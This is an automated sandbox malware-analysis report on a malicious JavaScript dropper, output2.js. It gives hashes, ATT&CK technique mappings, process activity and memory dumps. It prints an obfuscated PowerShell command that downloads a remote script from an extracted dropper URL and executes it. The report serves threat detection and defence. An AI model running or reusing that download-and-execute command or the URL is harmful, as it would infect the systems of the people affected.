b112d4db1d6ae3827653246c4f2b7413502ca1098ca2a1d00b6535b26ece0603

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
06/03/2025, 22:21

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General

Target

output2.js
Size

19KB
MD5

7ad2fc01023899cc905e620961271150
SHA1

7cd2e2d7086d59a3697c96ccfd705707ed2c3a87
SHA256

b112d4db1d6ae3827653246c4f2b7413502ca1098ca2a1d00b6535b26ece0603
SHA512

c710a96754e9b7a29c7113643bbb4b36012cc3a9d7491fc4b26a1059804c2e3f10039af7fdcdd1cc3a00768d515ed67855b805f45a83b130fb9c28a16f38769f
SSDEEP

384:8R/vtrEGocUVdRtacNP8t1JaZHVI2+sRLlejNZdbjzn:uZEGon8t1CL8jlT

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pegas.durablyscrimmage.rent/awjxs.recaptcha

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2976	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 2976	2988	wscript.exe	30
PID 2988 wrote to memory of 2976	2988	wscript.exe	30
PID 2988 wrote to memory of 2976	2988	wscript.exe	30
PID 2988 wrote to memory of 2976	2988	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\output2.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -c ([System.Net.WebClient]::New().DownloadString('https://pegas.durablyscrimmage.rent/awjxs.recaptcha'))|.( (GV She*d -ValueO)[1]+(ChildItem Variable:S*ell*d).Value[13]+'x')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2976-2-0x0000000073C41000-0x0000000073C42000-memory.dmp

Filesize
4KB

Download
memory/2976-4-0x0000000073C40000-0x00000000741EB000-memory.dmp

Filesize
5.7MB

Download
memory/2976-3-0x0000000073C40000-0x00000000741EB000-memory.dmp

Filesize
5.7MB

Download
memory/2976-5-0x0000000073C40000-0x00000000741EB000-memory.dmp

Filesize
5.7MB

Download